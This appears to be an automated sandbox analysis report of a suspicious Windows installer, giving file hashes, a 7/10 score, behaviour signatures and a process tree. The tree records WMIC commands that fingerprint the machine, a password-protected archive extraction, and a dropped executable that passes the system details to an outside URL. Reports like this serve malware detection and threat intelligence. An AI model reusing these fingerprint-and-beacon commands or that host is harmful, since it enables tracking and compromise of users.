Analysis

  • max time kernel
    93s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/06/2024, 17:23

General

  • Target

    8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe

  • Size

    406KB

  • MD5

    8ed848b82e2323e88daa47e864c1465e

  • SHA1

    0b27e5c6d8711eca1ab13326e61923d040fbfc76

  • SHA256

    61a1af913ef88b3f9c8e214e05f11305a7cadf4b9681a6c782556b35d63f9455

  • SHA512

    41a29b56a37beb94913361fae90a8a67aa8a98377a18ff49af0c49e2eab58772fffb8c858a757dd6777365e8b7858bf8a05963fb2bef8c9e6f4d024b26417160

  • SSDEEP

    12288:XA0i50GlEwz66JcUXKQJMeTupN+CVr8Jaf7IVz92J7r:XAfyGqXUXJMnNRVrdf7IVa3

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4408
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4480
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:400
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get Version /FORMAT:textvaluelist.xsl
      2⤵
        PID:5072
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
        2⤵
          PID:1288
        • C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\7za.exe
          7za.exe e -y -p"0fa5b66b0db62333dc8db11064b97f90" [RANDOM_STRING].7z
          2⤵
          • Executes dropped EXE
          PID:764
        • C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe
          "C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe" /initurl http://sub.yorkshatb.com/init/8ed848b82e2323e88daa47e864c1465e_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5052
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic bios get serialnumber, version
            3⤵
              PID:1504

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\7za.exe

          Filesize

          574KB

          MD5

          42badc1d2f03a8b1e4875740d3d49336

          SHA1

          cee178da1fb05f99af7a3547093122893bd1eb46

          SHA256

          c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

          SHA512

          6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

        • C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\[RANDOM_STRING].7z

          Filesize

          80KB

          MD5

          8b4f2b82688776536999d719951ca4b2

          SHA1

          452783380250c619f08bee0d68bcf88261545a5e

          SHA256

          adf69e4b27d83c0124dd91180d085443f2d639923815ad1c30fd01f8eeff9932

          SHA512

          7a2f68642169492943b91aeee86c0a77240a07e7538b04ad94fed311e49f0ba335cb2058e7b84387266fccb197c2dbb2a485dc4c7f60f0912404adbf295e6d53

        • C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\nsExec.dll

          Filesize

          8KB

          MD5

          b8be6632a7dc8136ff01338be40fe701

          SHA1

          043fa16929b2af5ed5c1c59b4035a10cf765fb43

          SHA256

          289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

          SHA512

          403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

        • C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe

          Filesize

          193KB

          MD5

          10bd2af1b07ec6bc9cd17ba512569e59

          SHA1

          807e17ab1b98177e135d30941b45081960d1e866

          SHA256

          9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

          SHA512

          deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

        • memory/4408-35-0x0000000000400000-0x0000000000437000-memory.dmp

          Filesize

          220KB